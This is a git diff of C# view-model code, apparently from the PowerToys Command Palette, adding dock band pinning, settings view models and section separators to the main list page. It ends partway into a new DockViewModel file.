if (model is ICommandProvider4 definitelyFour)
{
four = definitelyFour; // stash this away so we don't need to QI again
SupportsPinning = true;
// Load pinned commands from saved settings
pinnedCommands = LoadPinnedCommands(four, providerSettings);
}
Id = model.Id;
DisplayName = model.DisplayName;
@@ -177,7 +208,8 @@ public sealed class CommandProviderWrapper
Settings = new(model.Settings, this, _taskScheduler);
// We do need to explicitly initialize commands though
InitializeCommands(commands, fallbacks, pinnedCommands, serviceProvider, pageContext);
var objects = new TopLevelObjects(commands, fallbacks, pinnedCommands, dockBands);
InitializeCommands(objects, serviceProvider, four);
Logger.LogDebug($"Loaded commands from {DisplayName} ({ProviderId})");
}
@@ -208,15 +240,27 @@ public sealed class CommandProviderWrapper
}
}
private void InitializeCommands(ICommandItem[] commands, IFallbackCommandItem[] fallbacks, ICommandItem[] pinnedCommands, IServiceProvider serviceProvider, WeakReference<IPageContext> pageContext)
private record TopLevelObjects(
ICommandItem[]? Commands,
IFallbackCommandItem[]? Fallbacks,
ICommandItem[]? PinnedCommands,
ICommandItem[]? DockBands);
private void InitializeCommands(
TopLevelObjects objects,
IServiceProvider serviceProvider,
ICommandProvider4? four)
{
var settings = serviceProvider.GetService<SettingsModel>()!;
var contextMenuFactory = serviceProvider.GetService<IContextMenuFactory>()!;
var state = serviceProvider.GetService<AppStateModel>()!;
var providerSettings = GetProviderSettings(settings);
var ourContext = GetProviderContext();
var makeAndAdd = (ICommandItem? i, bool fallback) =>
WeakReference<IPageContext> pageContext = new(this.TopLevelPageContext);
var make = (ICommandItem? i, TopLevelType t) =>
{
CommandItemViewModel commandItemViewModel = new(new(i), pageContext);
TopLevelViewModel topLevelViewModel = new(commandItemViewModel, fallback, ExtensionHost, ourContext, settings, providerSettings, serviceProvider, i);
CommandItemViewModel commandItemViewModel = new(new(i), pageContext, contextMenuFactory: contextMenuFactory);
TopLevelViewModel topLevelViewModel = new(commandItemViewModel, t, ExtensionHost, ourContext, settings, providerSettings, serviceProvider, i, contextMenuFactory: contextMenuFactory);
topLevelViewModel.InitializeProperties();
return topLevelViewModel;
@@ -224,47 +268,123 @@ public sealed class CommandProviderWrapper
var topLevelList = new List<TopLevelViewModel>();
if (commands is not null)
if (objects.Commands is not null)
{
topLevelList.AddRange(commands.Select(c => makeAndAdd(c, false)));
topLevelList.AddRange(objects.Commands.Select(c => make(c, TopLevelType.Normal)));
}
if (pinnedCommands is not null)
if (objects.PinnedCommands is not null)
{
topLevelList.AddRange(pinnedCommands.Select(c => makeAndAdd(c, false)));
topLevelList.AddRange(objects.PinnedCommands.Select(c => make(c, TopLevelType.Normal)));
}
TopLevelItems = topLevelList.ToArray();
if (fallbacks is not null)
if (objects.Fallbacks is not null)
{
FallbackItems = fallbacks
.Select(c => makeAndAdd(c, true))
FallbackItems = objects.Fallbacks
.Select(c => make(c, TopLevelType.Fallback))
.ToArray();
}
}
private ICommandItem[] LoadPinnedCommands(ICommandProvider model, ProviderSettings providerSettings)
{
var pinnedItems = new List<ICommandItem>();
if (model is ICommandProvider4 provider4)
List<TopLevelViewModel> bands = new();
if (objects.DockBands is not null)
{
foreach (var pinnedId in providerSettings.PinnedCommandIds)
// Start by adding TopLevelViewModels for all the dock bands which
// are explicitly provided by the provider through the GetDockBands
// API.
foreach (var b in objects.DockBands)
{
var bandVm = make(b, TopLevelType.DockBand);
bands.Add(bandVm);
}
}
var dockSettings = settings.DockSettings;
var allPinnedCommands = dockSettings.AllPinnedCommands;
var pinnedBandsForThisProvider = allPinnedCommands.Where(c => c.ProviderId == ProviderId);
foreach (var (providerId, commandId) in pinnedBandsForThisProvider)
{
Logger.LogDebug($"Looking for pinned dock band command {commandId} for provider {providerId}");
// First, try to lookup the command as one of this provider's
// top-level commands. If it's there, then we can skip a lot of
// work and just clone it as a band.
if (LookupTopLevelCommand(commandId) is TopLevelViewModel topLevelCommand)
{
Logger.LogDebug($"Found pinned dock band command {commandId} for provider {providerId} as a top-level command");
var bandModel = topLevelCommand.ToPinnedDockBandItem();
var bandVm = make(bandModel, TopLevelType.DockBand);
bands.Add(bandVm);
continue;
}
// If we didn't find it as a top-level command, then we need to
// try to get it directly from the provider and hope it supports
// being a dock band. This is the fallback for providers that
// don't explicitly support dock bands through GetDockBands, but
// do support pinning commands (ICommandProvider4)
if (four is not null)
{
try
{
var commandItem = provider4.GetCommandItem(pinnedId);
var commandItem = four.GetCommandItem(commandId);
if (commandItem is not null)
{
pinnedItems.Add(commandItem);
Logger.LogDebug($"Found pinned dock band command {commandId} for provider {providerId} through ICommandProvider4 API");
var bandVm = make(commandItem, TopLevelType.DockBand);
bands.Add(bandVm);
}
else
{
Logger.LogWarning($"Couldn't find pinned dock band command {commandId} for provider {providerId} through ICommandProvider4 API. This command won't be shown as a dock band.");
}
}
catch (Exception e)
{
Logger.LogError($"Failed to load pinned command {pinnedId}: {e.Message}");
Logger.LogError($"Failed to load pinned dock band command {commandId} for provider {providerId}: {e.Message}");
}
}
else
{
Logger.LogWarning($"Couldn't find pinned dock band command {commandId} for provider {providerId} as a top-level command, and provider doesn't support ICommandProvider4 API to get it directly. This command won't be shown as a dock band.");
}
}
DockBandItems = bands.ToArray();
}
private TopLevelViewModel? LookupTopLevelCommand(string commandId)
{
foreach (var c in TopLevelItems)
{
if (c.Id == commandId)
{
return c;
}
}
return null;
}
private ICommandItem[] LoadPinnedCommands(ICommandProvider4 model, ProviderSettings providerSettings)
{
var pinnedItems = new List<ICommandItem>();
foreach (var pinnedId in providerSettings.PinnedCommandIds)
{
try
{
var commandItem = model.GetCommandItem(pinnedId);
if (commandItem is not null)
{
pinnedItems.Add(commandItem);
}
}
catch (Exception e)
{
Logger.LogError($"Failed to load pinned command {pinnedId}: {e.Message}");
}
}
return pinnedItems.ToArray();
@@ -280,6 +400,10 @@ public sealed class CommandProviderWrapper
{
Logger.LogDebug($"{ProviderId}: Found an IExtendedAttributesProvider");
}
else if (a is ICommandItem[] commands)
{
Logger.LogDebug($"{ProviderId}: Found an ICommandItem[]");
}
}
}
@@ -291,18 +415,57 @@ public sealed class CommandProviderWrapper
if (!providerSettings.PinnedCommandIds.Contains(commandId))
{
providerSettings.PinnedCommandIds.Add(commandId);
SettingsModel.SaveSettings(settings);
// Raise CommandsChanged so the TopLevelCommandManager reloads our commands
this.CommandsChanged?.Invoke(this, new ItemsChangedEventArgs(-1));
SettingsModel.SaveSettings(settings, false);
}
}
public CommandProviderContext GetProviderContext()
public void UnpinCommand(string commandId, IServiceProvider serviceProvider)
{
return new() { ProviderId = ProviderId };
var settings = serviceProvider.GetService<SettingsModel>()!;
var providerSettings = GetProviderSettings(settings);
if (providerSettings.PinnedCommandIds.Remove(commandId))
{
// Raise CommandsChanged so the TopLevelCommandManager reloads our commands
this.CommandsChanged?.Invoke(this, new ItemsChangedEventArgs(-1));
SettingsModel.SaveSettings(settings, false);
}
}
public void PinDockBand(string commandId, IServiceProvider serviceProvider)
{
var settings = serviceProvider.GetService<SettingsModel>()!;
var bandSettings = new DockBandSettings
{
CommandId = commandId,
ProviderId = this.ProviderId,
};
settings.DockSettings.StartBands.Add(bandSettings);
// Raise CommandsChanged so the TopLevelCommandManager reloads our commands
this.CommandsChanged?.Invoke(this, new ItemsChangedEventArgs(-1));
SettingsModel.SaveSettings(settings, false);
}
public void UnpinDockBand(string commandId, IServiceProvider serviceProvider)
{
var settings = serviceProvider.GetService<SettingsModel>()!;
settings.DockSettings.StartBands.RemoveAll(b => b.CommandId == commandId && b.ProviderId == ProviderId);
settings.DockSettings.CenterBands.RemoveAll(b => b.CommandId == commandId && b.ProviderId == ProviderId);
settings.DockSettings.EndBands.RemoveAll(b => b.CommandId == commandId && b.ProviderId == ProviderId);
// Raise CommandsChanged so the TopLevelCommandManager reloads our commands
this.CommandsChanged?.Invoke(this, new ItemsChangedEventArgs(-1));
SettingsModel.SaveSettings(settings, false);
}
public ICommandProviderContext GetProviderContext() => this;
public override bool Equals(object? obj) => obj is CommandProviderWrapper wrapper && isValid == wrapper.isValid;
public override int GetHashCode() => _commandProvider.GetHashCode();
@@ -316,4 +479,14 @@ public sealed class CommandProviderWrapper
// In handling this, a call will be made to `LoadTopLevelCommands` to
// retrieve the new items.
this.CommandsChanged?.Invoke(this, args);
internal void PinDockBand(TopLevelViewModel bandVm)
{
Logger.LogDebug($"CommandProviderWrapper.PinDockBand: {ProviderId} - {bandVm.Id}");
var bands = this.DockBandItems.ToList();
bands.Add(bandVm);
this.DockBandItems = bands.ToArray();
this.CommandsChanged?.Invoke(this, new ItemsChangedEventArgs());
}
}

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -18,6 +18,8 @@ public sealed partial class BuiltInsCommandProvider : CommandProvider
private readonly FallbackLogItem _fallbackLogItem = new();
private readonly NewExtensionPage _newExtension = new();
private readonly IRootPageService _rootPageService;
public override ICommandItem[] TopLevelCommands() =>
[
new CommandItem(openSettings) { },
@@ -37,11 +39,22 @@ public sealed partial class BuiltInsCommandProvider : CommandProvider
_fallbackLogItem,
];
public BuiltInsCommandProvider()
public BuiltInsCommandProvider(IRootPageService rootPageService)
{
Id = "com.microsoft.cmdpal.builtin.core";
DisplayName = Properties.Resources.builtin_display_name;
Icon = IconHelpers.FromRelativePath("Assets\\StoreLogo.scale-200.png");
Icon = IconHelpers.FromRelativePath("Assets\\Square44x44Logo.altform-unplated_targetsize-256.png");
_rootPageService = rootPageService;
}
public override ICommandItem[]? GetDockBands()
{
var rootPage = _rootPageService.GetRootPage();
List<ICommandItem> bandItems = new();
bandItems.Add(new WrappedDockItem(rootPage, Properties.Resources.builtin_command_palette_title));
return bandItems.ToArray();
}
public override void InitializeWithHost(IExtensionHost host) => BuiltinsExtensionHost.Instance.Initialize(host);

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -11,7 +11,6 @@ using Microsoft.CmdPal.Common.Helpers;
using Microsoft.CmdPal.Common.Text;
using Microsoft.CmdPal.Ext.Apps;
using Microsoft.CmdPal.Ext.Apps.Programs;
using Microsoft.CmdPal.Ext.Apps.State;
using Microsoft.CmdPal.UI.ViewModels.Commands;
using Microsoft.CmdPal.UI.ViewModels.Messages;
using Microsoft.CmdPal.UI.ViewModels.Properties;
@@ -36,6 +35,11 @@ public sealed partial class MainListPage : DynamicListPage,
private readonly ScoringFunction<IListItem> _fallbackScoringFunction;
private readonly IFuzzyMatcherProvider _fuzzyMatcherProvider;
// Stable separator instances so that the VM cache and InPlaceUpdateList
// recognise them across successive GetItems() calls
private readonly Separator _resultsSeparator = new(Resources.results);
private readonly Separator _fallbacksSeparator = new(Resources.fallbacks);
private RoScored<IListItem>[]? _filteredItems;
private RoScored<IListItem>[]? _filteredApps;
@@ -61,6 +65,7 @@ public sealed partial class MainListPage : DynamicListPage,
AppStateModel appStateModel,
IFuzzyMatcherProvider fuzzyMatcherProvider)
{
Id = "com.microsoft.cmdpal.home";
Title = Resources.builtin_home_name;
Icon = IconHelpers.FromRelativePath("Assets\\StoreLogo.scale-200.png");
PlaceholderText = Properties.Resources.builtin_main_list_page_searchbar_placeholder;
@@ -171,9 +176,40 @@ public sealed partial class MainListPage : DynamicListPage,
// filtered results.
if (string.IsNullOrWhiteSpace(SearchText))
{
return _tlcManager.TopLevelCommands
.Where(tlc => !tlc.IsFallback && !string.IsNullOrEmpty(tlc.Title))
.ToArray();
var allCommands = _tlcManager.TopLevelCommands;
// First pass: count eligible commands
var eligibleCount = 0;
for (var i = 0; i < allCommands.Count; i++)
{
var cmd = allCommands[i];
if (!cmd.IsFallback && !string.IsNullOrEmpty(cmd.Title))
{
eligibleCount++;
}
}
if (eligibleCount == 0)
{
return [];
}
// +1 for the separator
var result = new IListItem[eligibleCount + 1];
result[0] = _resultsSeparator;
// Second pass: populate
var writeIndex = 1;
for (var i = 0; i < allCommands.Count; i++)
{
var cmd = allCommands[i];
if (!cmd.IsFallback && !string.IsNullOrEmpty(cmd.Title))
{
result[writeIndex++] = cmd;
}
}
return result;
}
else
{
@@ -190,6 +226,8 @@ public sealed partial class MainListPage : DynamicListPage,
validScoredFallbacks,
_filteredApps,
validFallbacks,
_resultsSeparator,
_fallbacksSeparator,
AppResultLimit);
}
}
@@ -371,11 +409,13 @@ public sealed partial class MainListPage : DynamicListPage,
var allNewApps = AllAppsCommandProvider.Page.GetItems().Cast<AppListItem>().ToList();
// We need to remove pinned apps from allNewApps so they don't show twice.
var pinnedApps = PinnedAppsManager.Instance.GetPinnedAppIdentifiers();
// Pinned app command IDs are stored in ProviderSettings.PinnedCommandIds.
_settings.ProviderSettings.TryGetValue(AllAppsCommandProvider.WellKnownId, out var providerSettings);
var pinnedCommandIds = providerSettings?.PinnedCommandIds;
if (pinnedApps.Length > 0)
if (pinnedCommandIds is not null && pinnedCommandIds.Count > 0)
{
newApps = allNewApps.Where(w => pinnedApps.IndexOf(w.AppIdentifier) < 0);
newApps = allNewApps.Where(li => li.Command != null && !pinnedCommandIds.Contains(li.Command.Id));
}
else
{

View File

@@ -21,6 +21,8 @@ internal static class MainListPageResultFactory
IList<RoScored<IListItem>>? scoredFallbackItems,
IList<RoScored<IListItem>>? filteredApps,
IList<RoScored<IListItem>>? fallbackItems,
IListItem resultsSeparator,
IListItem fallbacksSeparator,
int appResultLimit)
{
if (appResultLimit < 0)
@@ -40,8 +42,13 @@ internal static class MainListPageResultFactory
int nonEmptyFallbackCount = fallbackItems?.Count ?? 0;
// Allocate the exact size of the result array.
// We'll add an extra slot for the fallbacks section header if needed.
int totalCount = len1 + len2 + len3 + nonEmptyFallbackCount + (nonEmptyFallbackCount > 0 ? 1 : 0);
// We'll add an extra slot for the fallbacks section header if needed,
// and another for the "Results" section header when merged results exist.
int mergedCount = len1 + len2 + len3;
bool needsResultsHeader = mergedCount > 0;
int totalCount = mergedCount + nonEmptyFallbackCount
+ (needsResultsHeader ? 1 : 0)
+ (nonEmptyFallbackCount > 0 ? 1 : 0);
var result = new IListItem[totalCount];
@@ -49,6 +56,12 @@ internal static class MainListPageResultFactory
int idx1 = 0, idx2 = 0, idx3 = 0;
int writePos = 0;
// Add "Results" section header when merged results will precede the fallbacks.
if (needsResultsHeader)
{
result[writePos++] = resultsSeparator;
}
// Merge while all three lists have items. To maintain a stable sort, the
// priority is: list1 > list2 > list3 when scores are equal.
while (idx1 < len1 && idx2 < len2 && idx3 < len3)
@@ -132,7 +145,7 @@ internal static class MainListPageResultFactory
// Create the fallbacks section header
if (fallbackItems.Count > 0)
{
result[writePos++] = new Separator(Properties.Resources.fallbacks);
result[writePos++] = fallbacksSeparator;
}
for (int i = 0; i < fallbackItems.Count; i++)

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -70,6 +70,15 @@ public partial class ContentFormViewModel(IFormContent _form, WeakReference<IPag
StateJson = model.StateJson;
DataJson = model.DataJson;
RenderCard();
UpdateProperty(nameof(Card));
model.PropChanged += Model_PropChanged;
}
private void RenderCard()
{
if (TryBuildCard(TemplateJson, DataJson, out var builtCard, out var renderingError))
{
Card = builtCard;
@@ -93,8 +102,41 @@ public partial class ContentFormViewModel(IFormContent _form, WeakReference<IPag
UpdateProperty(nameof(Card));
return;
}
}
UpdateProperty(nameof(Card));
private void Model_PropChanged(object sender, IPropChangedEventArgs args)
{
try
{
FetchProperty(args.PropertyName);
}
catch (Exception ex)
{
ShowException(ex);
}
}
protected virtual void FetchProperty(string propertyName)
{
var model = this._formModel.Unsafe;
if (model is null)
{
return; // throw?
}
switch (propertyName)
{
case nameof(DataJson):
DataJson = model.DataJson;
RenderCard();
break;
case nameof(TemplateJson):
TemplateJson = model.TemplateJson;
RenderCard();
break;
}
UpdateProperty(propertyName);
}
[DynamicDependency(DynamicallyAccessedMemberTypes.All, typeof(AdaptiveOpenUrlAction))]

View File

@@ -47,7 +47,7 @@ public partial class ContentPageViewModel : PageViewModel, ICommandBarContext
// Remember - "observable" properties from the model (via PropChanged)
// cannot be marked [ObservableProperty]
public ContentPageViewModel(IContentPage model, TaskScheduler scheduler, AppExtensionHost host, CommandProviderContext providerContext)
public ContentPageViewModel(IContentPage model, TaskScheduler scheduler, AppExtensionHost host, ICommandProviderContext providerContext)
: base(model, scheduler, host, providerContext)
{
_model = new(model);

View File

@@ -59,11 +59,8 @@ public partial class ContextMenuViewModel : ObservableObject,
{
if (SelectedItem is not null)
{
if (SelectedItem.PrimaryCommand is not null || SelectedItem.HasMoreCommands)
{
ContextMenuStack.Clear();
PushContextStack(SelectedItem.AllCommands);
}
ContextMenuStack.Clear();
PushContextStack(SelectedItem.AllCommands);
}
}

View File

@@ -40,4 +40,12 @@ public partial class DefaultContextMenuFactory : IContextMenuFactory
return results;
}
public void AddMoreCommandsToTopLevel(
TopLevelViewModel topLevelItem,
ICommandProviderContext providerContext,
List<IContextItem?> contextItems)
{
// do nothing
}
}

View File

@@ -0,0 +1,251 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Globalization;
using System.Text;
using CommunityToolkit.Mvvm.ComponentModel;
using Microsoft.CmdPal.UI.ViewModels.Settings;
namespace Microsoft.CmdPal.UI.ViewModels.Dock;
public partial class DockBandSettingsViewModel : ObservableObject
{
private static readonly CompositeFormat PluralItemsFormatString = CompositeFormat.Parse(Properties.Resources.dock_item_count_plural);
private readonly SettingsModel _settingsModel;
private readonly DockBandSettings _dockSettingsModel;
private readonly TopLevelViewModel _adapter;
private readonly DockBandViewModel? _bandViewModel;
public string Title => _adapter.Title;
public string Description
{
get
{
List<string> parts = [_adapter.ExtensionName];
// Add the number of items in the band
var itemCount = NumItemsInBand();
if (itemCount > 0)
{
var itemsString = itemCount == 1 ?
Properties.Resources.dock_item_count_singular :
string.Format(CultureInfo.CurrentCulture, PluralItemsFormatString, itemCount);
parts.Add(itemsString);
}
return string.Join(" - ", parts);
}
}
public string ProviderId => _adapter.CommandProviderId;
public IconInfoViewModel Icon => _adapter.IconViewModel;
private ShowLabelsOption _showLabels;
public ShowLabelsOption ShowLabels
{
get => _showLabels;
set
{
if (value != _showLabels)
{
_showLabels = value;
_dockSettingsModel.ShowLabels = value switch
{
ShowLabelsOption.Default => null,
ShowLabelsOption.ShowLabels => true,
ShowLabelsOption.HideLabels => false,
_ => null,
};
Save();
}
}
}
private ShowLabelsOption FetchShowLabels()
{
if (_dockSettingsModel.ShowLabels == null)
{
return ShowLabelsOption.Default;
}
return _dockSettingsModel.ShowLabels.Value ? ShowLabelsOption.ShowLabels : ShowLabelsOption.HideLabels;
}
// used to map to ComboBox selection
public int ShowLabelsIndex
{
get => (int)ShowLabels;
set => ShowLabels = (ShowLabelsOption)value;
}
private DockPinSide PinSide
{
get => _pinSide;
set
{
if (value != _pinSide)
{
UpdatePinSide(value);
}
}
}
private DockPinSide _pinSide;
public int PinSideIndex
{
get => (int)PinSide;
set => PinSide = (DockPinSide)value;
}
/// <summary>
/// Gets or sets a value indicating whether the band is pinned to the dock.
/// When enabled, pins to Center. When disabled, removes from all sides.
/// </summary>
public bool IsPinned
{
get => PinSide != DockPinSide.None;
set
{
if (value && PinSide == DockPinSide.None)
{
// Pin to Center by default when enabling
PinSide = DockPinSide.Center;
}
else if (!value && PinSide != DockPinSide.None)
{
// Remove from dock when disabling
PinSide = DockPinSide.None;
}
}
}
public DockBandSettingsViewModel(
DockBandSettings dockSettingsModel,
TopLevelViewModel topLevelAdapter,
DockBandViewModel? bandViewModel,
SettingsModel settingsModel)
{
_dockSettingsModel = dockSettingsModel;
_adapter = topLevelAdapter;
_bandViewModel = bandViewModel;
_settingsModel = settingsModel;
_pinSide = FetchPinSide();
_showLabels = FetchShowLabels();
}
private DockPinSide FetchPinSide()
{
var dockSettings = _settingsModel.DockSettings;
var inStart = dockSettings.StartBands.Any(b => b.CommandId == _dockSettingsModel.CommandId);
if (inStart)
{
return DockPinSide.Start;
}
var inCenter = dockSettings.CenterBands.Any(b => b.CommandId == _dockSettingsModel.CommandId);
if (inCenter)
{
return DockPinSide.Center;
}
var inEnd = dockSettings.EndBands.Any(b => b.CommandId == _dockSettingsModel.CommandId);
if (inEnd)
{
return DockPinSide.End;
}
return DockPinSide.None;
}
private int NumItemsInBand()
{
var bandVm = _bandViewModel;
if (bandVm is null)
{
return 0;
}
return bandVm.Items.Count;
}
private void Save()
{
SettingsModel.SaveSettings(_settingsModel);
}
private void UpdatePinSide(DockPinSide value)
{
OnPinSideChanged(value);
OnPropertyChanged(nameof(PinSideIndex));
OnPropertyChanged(nameof(PinSide));
OnPropertyChanged(nameof(IsPinned));
}
public void SetBandPosition(DockPinSide side, int? index)
{
var dockSettings = _settingsModel.DockSettings;
// Remove from all sides first
dockSettings.StartBands.RemoveAll(b => b.CommandId == _dockSettingsModel.CommandId);
dockSettings.CenterBands.RemoveAll(b => b.CommandId == _dockSettingsModel.CommandId);
dockSettings.EndBands.RemoveAll(b => b.CommandId == _dockSettingsModel.CommandId);
// Add to the selected side
switch (side)
{
case DockPinSide.Start:
{
var insertIndex = index ?? dockSettings.StartBands.Count;
dockSettings.StartBands.Insert(insertIndex, _dockSettingsModel);
break;
}
case DockPinSide.Center:
{
var insertIndex = index ?? dockSettings.CenterBands.Count;
dockSettings.CenterBands.Insert(insertIndex, _dockSettingsModel);
break;
}
case DockPinSide.End:
{
var insertIndex = index ?? dockSettings.EndBands.Count;
dockSettings.EndBands.Insert(insertIndex, _dockSettingsModel);
break;
}
case DockPinSide.None:
default:
// Do nothing
break;
}
Save();
}
private void OnPinSideChanged(DockPinSide value)
{
SetBandPosition(value, null);
_pinSide = value;
}
}
public enum DockPinSide
{
None,
Start,
Center,
End,
}
public enum ShowLabelsOption
{
Default,
ShowLabels,
HideLabels,
}

View File

@@ -0,0 +1,300 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.ObjectModel;
using Microsoft.CmdPal.UI.ViewModels.Models;
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.CommandPalette.Extensions;
using Microsoft.CommandPalette.Extensions.Toolkit;
namespace Microsoft.CmdPal.UI.ViewModels.Dock;
#pragma warning disable SA1402 // File may only contain a single type
public sealed partial class DockBandViewModel : ExtensionObjectViewModel
{
private readonly CommandItemViewModel _rootItem;
private readonly DockBandSettings _bandSettings;
private readonly DockSettings _dockSettings;
private readonly Action _saveSettings;
private readonly IContextMenuFactory _contextMenuFactory;
public ObservableCollection<DockItemViewModel> Items { get; } = new();
private bool _showTitles = true;
private bool _showSubtitles = true;
private bool? _showTitlesSnapshot;
private bool? _showSubtitlesSnapshot;
public string Id => _rootItem.Command.Id;
/// <summary>
/// Gets or sets a value indicating whether titles are shown for items in this band.
/// This is a preview value - call <see cref="SaveLabelSettings"/> to persist or
/// <see cref="RestoreLabelSettings"/> to discard changes.
/// </summary>
public bool ShowTitles
{
get => _showTitles;
set
{
if (_showTitles != value)
{
_showTitles = value;
foreach (var item in Items)
{
item.ShowTitle = value;
}
UpdateProperty(nameof(ShowTitles));
}
}
}
/// <summary>
/// Gets or sets a value indicating whether subtitles are shown for items in this band.
/// This is a preview value - call <see cref="SaveLabelSettings"/> to persist or
/// <see cref="RestoreLabelSettings"/> to discard changes.
/// </summary>
public bool ShowSubtitles
{
get => _showSubtitles;
set
{
if (_showSubtitles != value)
{
_showSubtitles = value;
foreach (var item in Items)
{
item.ShowSubtitle = value;
}
UpdateProperty(nameof(ShowSubtitles));
}
}
}
/// <summary>
/// Gets or sets a value indicating whether labels (both titles and subtitles) are shown.
/// Provided for backward compatibility - setting this sets both ShowTitles and ShowSubtitles.
/// </summary>
public bool ShowLabels
{
get => _showTitles && _showSubtitles;
set
{
ShowTitles = value;
ShowSubtitles = value;
}
}
/// <summary>
/// Takes a snapshot of the current label settings before editing.
/// </summary>
internal void SnapshotShowLabels()
{
_showTitlesSnapshot = _showTitles;
_showSubtitlesSnapshot = _showSubtitles;
}
/// <summary>
/// Saves the current label settings to settings.
/// </summary>
internal void SaveShowLabels()
{
_bandSettings.ShowTitles = _showTitles;
_bandSettings.ShowSubtitles = _showSubtitles;
_showTitlesSnapshot = null;
_showSubtitlesSnapshot = null;
}
/// <summary>
/// Restores the label settings from the snapshot.
/// </summary>
internal void RestoreShowLabels()
{
if (_showTitlesSnapshot.HasValue)
{
ShowTitles = _showTitlesSnapshot.Value;
_showTitlesSnapshot = null;
}
if (_showSubtitlesSnapshot.HasValue)
{
ShowSubtitles = _showSubtitlesSnapshot.Value;
_showSubtitlesSnapshot = null;
}
}
internal DockBandViewModel(
CommandItemViewModel commandItemViewModel,
WeakReference<IPageContext> errorContext,
DockBandSettings settings,
DockSettings dockSettings,
Action saveSettings,
IContextMenuFactory contextMenuFactory)
: base(errorContext)
{
_rootItem = commandItemViewModel;
_bandSettings = settings;
_dockSettings = dockSettings;
_saveSettings = saveSettings;
_contextMenuFactory = contextMenuFactory;
_showTitles = settings.ResolveShowTitles(dockSettings.ShowLabels);
_showSubtitles = settings.ResolveShowSubtitles(dockSettings.ShowLabels);
}
private void InitializeFromList(IListPage list)
{
var items = list.GetItems();
var newViewModels = new List<DockItemViewModel>();
foreach (var item in items)
{
var newItemVm = new DockItemViewModel(new(item), this.PageContext, _showTitles, _showSubtitles, _contextMenuFactory);
newItemVm.SlowInitializeProperties();
newViewModels.Add(newItemVm);
}
List<DockItemViewModel> removed = new();
DoOnUiThread(() =>
{
ListHelpers.InPlaceUpdateList(Items, newViewModels, out removed);
});
foreach (var removedItem in removed)
{
removedItem.SafeCleanup();
}
}
public override void InitializeProperties()
{
var command = _rootItem.Command;
var list = command.Model.Unsafe as IListPage;
if (list is not null)
{
InitializeFromList(list);
list.ItemsChanged += HandleItemsChanged;
}
else
{
var dockItem = new DockItemViewModel(_rootItem, _showTitles, _showSubtitles, _contextMenuFactory);
dockItem.SlowInitializeProperties();
DoOnUiThread(() =>
{
Items.Add(dockItem);
});
}
}
private void HandleItemsChanged(object sender, IItemsChangedEventArgs args)
{
if (_rootItem.Command.Model.Unsafe is IListPage p)
{
InitializeFromList(p);
}
}
protected override void UnsafeCleanup()
{
base.UnsafeCleanup();
var command = _rootItem.Command;
if (command.Model.Unsafe is IListPage list)
{
list.ItemsChanged -= HandleItemsChanged;
}
foreach (var item in Items)
{
item.SafeCleanup();
}
}
}
public partial class DockItemViewModel : CommandItemViewModel
{
private bool _showTitle = true;
private bool _showSubtitle = true;
public bool ShowTitle
{
get => _showTitle;
internal set
{
if (_showTitle != value)
{
_showTitle = value;
UpdateProperty(nameof(ShowTitle));
UpdateProperty(nameof(ShowLabel));
UpdateProperty(nameof(HasText));
UpdateProperty(nameof(Title));
}
}
}
public bool ShowSubtitle
{
get => _showSubtitle;
internal set
{
if (_showSubtitle != value)
{
_showSubtitle = value;
UpdateProperty(nameof(ShowSubtitle));
UpdateProperty(nameof(ShowLabel));
UpdateProperty(nameof(Subtitle));
}
}
}
/// <summary>
/// Gets a value indicating whether labels are shown (either titles or subtitles).
/// Setting this sets both ShowTitle and ShowSubtitle.
/// </summary>
public bool ShowLabel
{
get => _showTitle || _showSubtitle;
internal set
{
ShowTitle = value;
ShowSubtitle = value;
}
}
public override string Title => _showTitle ? ItemTitle : string.Empty;
public override string Subtitle => _showSubtitle ? base.Subtitle : string.Empty;
public override bool HasText => (_showTitle && !string.IsNullOrEmpty(ItemTitle)) || (_showSubtitle && !string.IsNullOrEmpty(base.Subtitle));
/// <summary>
/// Gets the tooltip for the dock item, which includes the title and
/// subtitle. If it doesn't have one part, it just returns the other.
/// </summary>
/// <remarks>
/// Trickery: in the case one is empty, we can just concatenate, and it will
/// always only be the one that's non-empty
/// </remarks>
public string Tooltip =>
!string.IsNullOrEmpty(ItemTitle) && !string.IsNullOrEmpty(base.Subtitle) ?
$"{ItemTitle}\n{base.Subtitle}" :
ItemTitle + base.Subtitle;
public DockItemViewModel(CommandItemViewModel root, bool showTitle, bool showSubtitle, IContextMenuFactory contextMenuFactory)
: this(root.Model, root.PageContext, showTitle, showSubtitle, contextMenuFactory)
{
}
public DockItemViewModel(ExtensionObject<ICommandItem> item, WeakReference<IPageContext> errorContext, bool showTitle, bool showSubtitle, IContextMenuFactory contextMenuFactory)
: base(item, errorContext, contextMenuFactory)
{
_showTitle = showTitle;
_showSubtitle = showSubtitle;
}
}
#pragma warning restore SA1402 // File may only contain a single type

View File

@@ -0,0 +1,651 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.ObjectModel;
using CommunityToolkit.Mvvm.Messaging;
using ManagedCommon;
using Microsoft.CmdPal.UI.Messages;
using Microsoft.CmdPal.UI.ViewModels.Messages;
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.CommandPalette.Extensions.Toolkit;
namespace Microsoft.CmdPal.UI.ViewModels.Dock;
public sealed partial class DockViewModel
{
private readonly TopLevelCommandManager _topLevelCommandManager;
private readonly SettingsModel _settingsModel;
private readonly DockPageContext _pageContext; // only to be used for our own context menu - not for dock bands themselves
private readonly IContextMenuFactory _contextMenuFactory;
private DockSettings _settings;
